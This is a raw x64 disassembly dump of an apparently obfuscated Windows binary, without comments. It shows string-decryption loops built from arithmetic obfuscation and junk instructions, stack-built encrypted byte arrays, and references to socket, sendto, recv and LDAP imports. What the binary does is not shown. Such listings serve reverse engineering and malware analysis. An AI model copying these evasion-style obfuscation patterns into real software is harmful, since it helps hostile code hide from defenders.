jmp 0x1400b81c0
lea ecx, [rdi - 0x57]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x61
jmp 0x1400b81b0
lea ecx, [rdi + 0x3d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x55
jmp 0x1400b80e0
lea edx, [rdi - 0x48]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 8
jmp 0x1400b8849
lea ecx, [rdi + 0x4c]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x14
dec rdi
inc rdi
jmp 0x1400b80c2
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x20
jmp 0x1400b88c7
lea edx, [rdi + 0x74]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x2c
add r10b, dl
jmp 0x1400b88f8
lea ecx, [rdi + 8]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x38
movzx eax, byte [rbp + rdi + 0x790]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b80c2
lea edx, [rdi + 0x4b]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0xd
add r10b, dl
cmp r9, 0x3e8
jb 0x1400b876e
lea edx, [rdi - 0x3e]
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400b884c
lea edx, [rdi - 0x21]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x19
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x400
je 0x1400b879b
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400b85d6
lea edx, [rdi + 0x6f]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 9
add r10b, dl
cmp r8, 6
jae 0x1400b877e
lea rax, [r9 + 0x41]
cmp r8, rax
jbe 0x1400b86c5
lea edx, [rdi - 0x5a]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400b8399
lea edx, [rdi + 0x14]
movzx eax, bl
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400b891f
lea edx, [rdi - 0x58]
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400b88ca
lea edx, [rdi + 0x3c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
movzx r11d, dil
jmp 0x1400b8890
lea edx, [rdi - 0x30]
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
inc r9
dec rdi
inc rdi
jmp 0x1400b80c2
lea edx, [rdi - 0x66]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x36
jmp 0x1400b8849
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400b8508
lea edx, [rdi + 0x1b]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x43
jmp 0x1400b83dc
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b853b
lea ecx, [rdi + 0x6e]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 2
movzx eax, byte [rbp + rdi + 0x790]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b80c2
inc rax
cmp r8, rax
jne 0x1400b8560
lea edx, [rdi - 0x5c]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x7c
add r10b, dl
jmp 0x1400b891f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b8587
lea edx, [rdi - 0x26]
movzx eax, bl
and al, dl
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400b88f8
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b85ae
lea edx, [rdi + 0x7c]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x64
movzx r11d, dil
jmp 0x1400b8890
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b83df
lea edx, [rdi + 0x1e]
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400b8849
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b85f9
lea edx, [rdi - 0x5b]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x7d
jmp 0x1400b8849
inc rax
cmp r8, rax
jne 0x1400b8620
lea ecx, [rdi + 0x11]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x77
dec rdi
inc rdi
jmp 0x1400b80c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b8642
lea ecx, [rdi + 0x7d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x6b
jmp 0x1400b88c7
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b8668
lea edx, [rdi - 0x17]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
sub r10b, 0x5f
add r10b, dl
jmp 0x1400b88f8
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b868e
lea edx, [rdi + 0x1f]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x27
add r10b, dl
jmp 0x1400b891f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b8414
lea ecx, [rdi + 0x55]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x53
movzx eax, byte [rbp + rdi + 0x790]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b80c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b86f8
lea ecx, [rdi - 0x24]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 4
movzx eax, byte [rbp + rdi + 0x790]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b80c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b871f
lea edx, [rdi + 0x48]
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400b88f8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b8746
lea edx, [rdi - 0x4c]
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
jmp 0x1400b88c7
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b839c
lea edx, [rdi - 0x74]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
jmp 0x1400b8849
mov byte [rbp + rdi + 0x790], r10b
inc rdi
jmp 0x1400b80c2
lea edx, [rdi - 8]
movzx eax, bl
and al, dl
movzx ecx, bl
sub cl, al
add cl, 0x1c
lea r10d, [rcx + rcx]
movzx r11d, dil
jmp 0x1400b8890
lea ecx, [rdi + 0x2e]
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r10d, [rcx - 0x42]
jmp 0x1400b88f8
lea ecx, [rdi + 0x1d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x35
movzx eax, byte [rbp + rdi + 0x790]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b80c2
lea ecx, [rdi + 0x7b]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x5d
jmp 0x1400b88ca
lea ecx, [rdi - 0x27]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
add r10b, 0x11
dec rdi
inc rdi
jmp 0x1400b80c2
lea ecx, [rdi - 0x5d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x75
inc r9
dec rdi
inc rdi
jmp 0x1400b80c2
lea edx, [rdi + 0x6d]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 5
add r10b, dl
movzx ecx, dil
sub cl, 0x23
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0xb
add bl, cl
mov byte [rbp + rdi + 0x790], bl
inc r9
dec rdi
inc rdi
jmp 0x1400b80c2
movzx r11d, dil
lea edx, [r11 + 0x5f]
movzx eax, bl
and al, dl
add al, al
movzx r10d, bl
sub r10b, al
add r10b, 0x67
add r10b, dl
add r11b, 0x13
movzx eax, bl
and al, r11b
add al, al
sub bl, al
add bl, 0x7b
add bl, r11b
add bl, r10b
mov byte [rbp + rdi + 0x790], bl
jmp 0x1400b88c7
lea ecx, [rdi + 0x29]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r10d, [rcx + rbx]
sub r10b, 0x1f
add r8, r9
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b80c2
lea rcx, [rdi + r12]
and dl, cl
add dl, dl
movzx r10d, bl
sub r10b, dl
sub cl, 0x2b
add r10b, cl
movzx ecx, dil
add cl, 0x49
movzx eax, cl
and al, bl
add al, al
sub cl, al
inc cl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x790], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x64]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x790], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x790]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b80c2
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub bl, dl
lea r10d, [rax + rbx]
sub r10b, 0x37
movzx eax, byte [rbp + rdi + 0x790]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b80c2
sub dil, 0x2f
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r10d, [rdi + rbx]
add r10b, 0x49
jmp 0x1400b80b0
lea rdx, [rbp + 0x159bdb4]
jmp 0x1400ba3a9
lea rdx, [rbp + 0x15f78cf]
jmp 0x1400ba3a9
lea rdx, [rbp + 0x790]
jmp 0x1400ba3a9
mov byte [rbp + 0x1f8], 0x9b
mov byte [rbp + 0x1f9], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x1fa], 0x77
mov byte [rbp + 0x1fb], 0x99
mov byte [rbp + 0x1fc], 0x81
mov byte [rbp + 0x1fd], 0x87
mov byte [rbp + 0x1fe], 0x9b
mov byte [rbp + 0x1ff], 0x57
mov byte [rbp + 0x200], WSASetLastError
mov byte [rbp + 0x201], 0xa1
mov byte [rbp + 0x202], 0xbe
mov byte [rbp + 0x203], Ordinal_143
mov byte [rbp + 0x204], 0xbe
mov byte [rbp + 0x205], 0xb3
mov byte [rbp + 0x206], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x207], 0xb3
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_328], 0x20
xor eax, eax
movups xmmword [rbp + 0x209], xmm0
movups xmmword [rbp + 0x219], xmm0
mov word [rbp + 0x229], ax
movabs r14, 0x1da32f02b94eca88
movabs r12, 0xcf764913112789b8
movabs r15, 0x58e98d082bec5f98
movzx ebx, byte [rsp + 0x30]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
cmp rdi, 0x33
jae 0x1400b937f
movzx r11d, byte [rbp + rdi + 0x1f8]
mov esi, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400b9376
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b8adb
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rsi
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rsi
add bl, 0x48
jmp 0x1400b8b14
je 0x1400b9307
inc rax
cmp r8, rax
je 0x1400b927c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b9226
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b9203
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b91b9
movzx r10d, dil
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400b936d
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400b8b49
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x18
jmp 0x1400b8b90
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b91ae
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b918c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b9170
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b9156
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b9129
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b8d9d
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b8d83
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b8d5e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b8d38
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400b8f0d
lea r8, [r9 + 9]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400b9351
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400b9331
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400b8c95
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400b8c7b
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b8c5d
lea r8, [r9 + 2]
lea r9, [r8 + 4]
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b8d0b
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b8ceb
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400b8cd1
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400b8cb1
lea r8, [r9 + 0x28]
lea r9, [r8 + 0x42]
jmp 0x1400b8ba0
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b8b90
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x78
jmp 0x1400b8b20
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
jmp 0x1400b8ab0
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b9264
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x20
jmp 0x1400b9296
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b92c3
sub r10b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x40
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b8a92
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400b8a92
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
inc r9
dec rdi
inc rdi
jmp 0x1400b8a92
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x10
jmp 0x1400b91d6
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400b8e5a
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400b9113
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400b8f42
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r8, 0x200
jae 0x1400b90f6
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1400b9040
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 2
jb 0x1400b90e7
lea edx, [r10 + 0x30]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400b91d6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b8e90
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x30
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b8a92
inc rax
cmp r8, rax
jne 0x1400b8eb8
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b92c3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b8edb
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x10
jmp 0x1400b9296
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b8f04
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b9261
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b8f27
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x60
jmp 0x1400b923f
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b8dc6
lea edx, [r10 - 0x30]
mov ecx, Ordinal_41
jmp 0x1400b91c6
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b8f65
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x48
jmp 0x1400b91d6
inc rax
cmp r8, rax
jne 0x1400b8f8f
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x28
dec rdi
inc rdi
jmp 0x1400b8a92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b8fb6
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b923f
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b8fdb
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
jmp 0x1400b9261
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b9002
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b9296
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b8dfa
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b8a92
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b9076
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b8a92
inc rax
cmp r8, rax
jne 0x1400b9098
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x40
jmp 0x1400b9296
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b90bf
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b923f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b8e30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
dec rdi
inc rdi
jmp 0x1400b8a92
mov byte [rbp + rdi + 0x1f8], bl
inc rdi
jmp 0x1400b8a92
lea edx, [r10 + 0x40]
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub cl, al
add cl, 0x20
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400b923f
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [rcx - 0x30]
jmp 0x1400b9296
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 8
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b8a92
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x28
jmp 0x1400b9296
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
jmp 0x1400b9261
add r10b, 0x58
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x68
dec rdi
inc rdi
jmp 0x1400b8a92
lea edx, [r10 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1400b91c6
movzx r10d, dil
lea edx, [r10 + 0x18]
mov ecx, Ordinal_45
movzx eax, dl
and al, r11b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 8
add r11b, r10b
mov byte [rbp + rdi + 0x1f8], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400b8a92
lea edx, [rdi - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
dec rdi
inc rdi
jmp 0x1400b8a92
movzx r10d, dil
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x58
sub r10b, 0x38
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x78
add r11b, r10b
add r11b, bl
mov byte [rbp + rdi + 0x1f8], r11b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b8a92
lea rcx, [rdi + r12]
and sil, cl
add sil, sil
movzx ebx, r11b
sub bl, sil
sub bl, 8
add bl, cl
movzx r10d, dil
sub r10b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rbp + rdi + 0x1f8], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x1f8], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b8a92
lea rax, [rdi + r15]
and sil, al
add sil, sil
sub r11b, sil
lea ebx, [rax + r11]
sub bl, 0x28
movzx eax, byte [rbp + rdi + 0x1f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b8a92
sub r10b, 0x58
movzx eax, r10b
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b8a90
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x28
jmp 0x1400b8a80
lea rsi, [rbp + 0x1701558]
jmp 0x1400b9386
lea rsi, [rbp + 0x17edfe0]
jmp 0x1400b9386
lea rsi, [rbp + 0x1f8]
mov byte [rbp + 0x850], 0xff
mov byte [rbp + 0x851], 0xee
mov byte [rbp + 0x852], 0xa4
mov byte [rbp + 0x853], Ordinal_211
mov byte [rbp + 0x854], 0xdb
mov byte [rbp + 0x855], 0xdb
mov byte [rbp + 0x856], 0xa1
mov byte [rbp + 0x857], 0xdb
mov byte [rbp + 0x858], 0xae
mov byte [rbp + 0x859], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x85a], 0xe7
mov byte [rbp + 0x85b], 0x9f
mov byte [rbp + 0x85c], 0x9e
mov byte [rbp + 0x85d], Ordinal_211
mov byte [rbp + 0x85e], 0xaf
mov byte [rbp + 0x85f], 0xa6
mov byte [rbp + 0x860], 0xad
mov byte [rbp + 0x861], Ordinal_217
mov byte [rbp + 0x862], 0xad
mov byte [rbp + 0x863], __WSAFDIsSet
mov byte [rbp + 0x864], 0x9d
mov byte [rbp + 0x865], 0xad
mov byte [rbp + 0x866], Ordinal_217
mov byte [rbp + 0x867], 0xab
mov byte [rbp + 0x868], 0xaf
mov byte [rbp + 0x869], 0xdd
mov byte [rbp + 0x86a], 0x98
mov byte [rbp + 0x86b], 0xb2
mov byte [rbp + 0x86c], Ordinal_211
mov byte [rbp + 0x86d], 0xc1
mov byte [rbp + 0x86e], 0x86
mov byte [rbp + 0x86f], 0xbc
mov byte [rbp + 0x870], 0xb2
mov byte [rbp + 0x871], Ordinal_200
mov byte [rbp + 0x872], Ordinal_143
mov byte [rbp + 0x873], 0x81
mov byte [rbp + 0x874], 0xca
mov byte [rbp + 0x875], 0xb6
mov byte [rbp + 0x876], 0xb9
mov byte [rbp + 0x877], 0xb4
mov byte [rbp + 0x878], Ordinal_211
mov byte [rbp + 0x879], 0x88
mov byte [rbp + 0x87a], 0xbd
mov byte [rbp + 0x87b], 0x81
mov byte [rbp + 0x87c], 0x86
mov byte [rbp + 0x87d], 0xbe
mov byte [rbp + 0x87e], 0x82
mov byte [rbp + 0x87f], Ordinal_143
mov byte [rbp + 0x880], 0xbd
mov byte [rbp + 0x881], 0xf9
mov byte [rbp + 0x882], 0xf4
mov byte [rbp + 0x883], 0x84
mov byte [rbp + 0x884], Ordinal_143
mov byte [rbp + 0x885], 0x82
mov byte [rbp + 0x886], Ordinal_143
mov byte [rbp + 0x887], 0xff
mov byte [rbp + 0x888], 0xb9
mov byte [rbp + 0x889], 0xb8
mov byte [rbp + 0x88a], 0xb9
mov byte [rbp + 0x88b], __WSAFDIsSet
mov byte [rbp + 0x88c], 0x99
mov byte [rbp + 0x88d], __WSAFDIsSet
mov byte [rbp + 0x88e], __WSAFDIsSet
mov byte [rbp + 0x88f], 0xe7
mov byte [rbp + 0x890], 0xa9
mov byte [rbp + 0x891], 0x90
mov byte [rbp + 0x892], 0xe4
mov byte [rbp + 0x893], 0xac
mov byte [rbp + 0x894], 0x9e
mov byte [rbp + 0x895], 0xe9
mov byte [rbp + 0x896], 0xa0
mov byte [rbp + 0x897], 0xa0
mov byte [rbp + 0x898], 0xa7
mov byte [rbp + 0x899], 0xa5
mov byte [rbp + 0x89a], 0xec
mov byte [rbp + 0x89b], 0x65
mov byte [rbp + 0x89c], 0x5d
mov byte [rbp + 0x89d], 0x64
mov byte [rbp + 0x89e], 0x5d
mov byte [rbp + 0x89f], reloc.WS2_32.dll_socket
mov byte [rbp + 0x8a0], 0x67
mov byte [rbp + 0x8a1], 0x5f
mov byte [rbp + 0x8a2], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x8a3], 0x52
mov byte [rbp + 0x8a4], 0x51
mov byte [rbp + 0x8a5], WSASetLastError
mov byte [rbp + 0x8a6], WSASetLastError
mov byte [rbp + 0x8a7], 0x50
mov byte [rbp + 0x8a8], WSASetLastError
mov byte [rbp + 0x8a9], 0x54
mov byte [rbp + 0x8aa], Ordinal_30
mov byte [rbp + 0x8ab], 0x45
mov byte [rbp + 0x8ac], 0x45
mov byte [rbp + 0x8ad], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x8ae], WSACleanup
mov byte [rbp + 0x8af], Ordinal_79
mov byte [rbp + 0x8b0], 0x42
